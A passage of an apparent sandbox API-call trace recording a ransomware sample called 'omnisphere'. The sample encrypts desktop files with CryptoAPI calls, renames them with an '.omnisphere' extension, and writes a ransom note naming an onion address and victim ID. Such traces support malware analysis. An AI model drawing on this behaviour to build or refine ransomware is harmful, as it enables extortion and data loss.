pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.621] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.622] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.623] CryptDestroyKey (hKey=0x1639768) returned 1 [0163.623] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.623] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x480c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.623] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.624] GetProcessHeap () returned 0x1600000 [0163.624] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x270) returned 0x1772cb0 [0163.624] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\fbeebr9puymz.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\fbeebr9puymz.odt.omnisphere")) returned 1 [0163.626] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt.omnisphere.id" [0163.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\fbeebr9puymz.odt.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.629] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.630] CloseHandle (hObject=0x3bc) returned 1 [0163.631] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.632] CloseHandle (hObject=0x380) returned 1 [0163.632] SetEndOfFile (hFile=0x39c) returned 1 [0163.634] FlushFileBuffers (hFile=0x39c) returned 1 [0163.637] CloseHandle (hObject=0x39c) returned 1 [0163.637] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.637] GetProcessHeap () returned 0x1600000 [0163.637] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1772f28 [0163.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.638] GetProcessHeap () returned 0x1600000 [0163.638] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733680 [0163.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733680, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.638] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.638] GetProcessHeap () returned 0x1600000 [0163.638] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f4c0 [0163.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f4c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.638] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.638] GetProcessHeap () returned 0x1600000 [0163.638] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164cc50 [0163.638] PathCombineW (in: pszDest=0x164cc50, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.638] GetProcessHeap () returned 0x1600000 [0163.638] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176b880 [0163.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.638] WriteFile (in: hFile=0x39c, lpBuffer=0x176b880*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176b880*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.639] CloseHandle (hObject=0x39c) returned 1 [0163.641] GetProcessHeap () returned 0x1600000 [0163.641] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1772f28 | out: hHeap=0x1600000) returned 1 [0163.641] GetProcessHeap () returned 0x1600000 [0163.641] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0163.641] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.642] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.642] CloseHandle (hObject=0x39c) returned 1 [0163.642] GetProcessHeap () returned 0x1600000 [0163.642] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.642] GetProcessHeap () returned 0x1600000 [0163.642] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691be0 | out: hHeap=0x1600000) returned 1 [0163.642] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca17180, ftCreationTime.dwHighDateTime=0x1d4c761, ftLastAccessTime.dwLowDateTime=0x704670e0, ftLastAccessTime.dwHighDateTime=0x1d4cde0, ftLastWriteTime.dwLowDateTime=0x704670e0, ftLastWriteTime.dwHighDateTime=0x1d4cde0, nFileSizeHigh=0x0, nFileSizeLow=0x9924, dwReserved0=0x0, dwReserved1=0xf5, cFileName="GbTUkD.gif", cAlternateFileName="")) returned 1 [0163.642] GetProcessHeap () returned 0x1600000 [0163.642] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x54) returned 0x163d358 [0163.642] PathCombineW (in: pszDest=0x163d358, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="GbTUkD.gif" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif") returned="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif" [0163.643] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0163.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\gbtukd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.643] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=39204) returned 1 [0163.643] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x9400, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.643] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.643] GetTickCount () returned 0x1168a36 [0163.643] GetTickCount () returned 0x1168a36 [0163.643] GetTickCount () returned 0x1168a36 [0163.643] GetTickCount () returned 0x1168a36 [0163.643] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.644] GetTickCount () returned 0x1168a36 [0163.645] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16681b8) returned 1 [0163.645] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16394e8) returned 1 [0163.645] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.645] CryptDestroyKey (hKey=0x16394e8) returned 1 [0163.645] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0163.645] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9924, lpName=0x0) returned 0x380 [0163.645] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9924) returned 0x1480000 [0163.646] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0163.646] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16397a8) returned 1 [0163.646] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.646] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 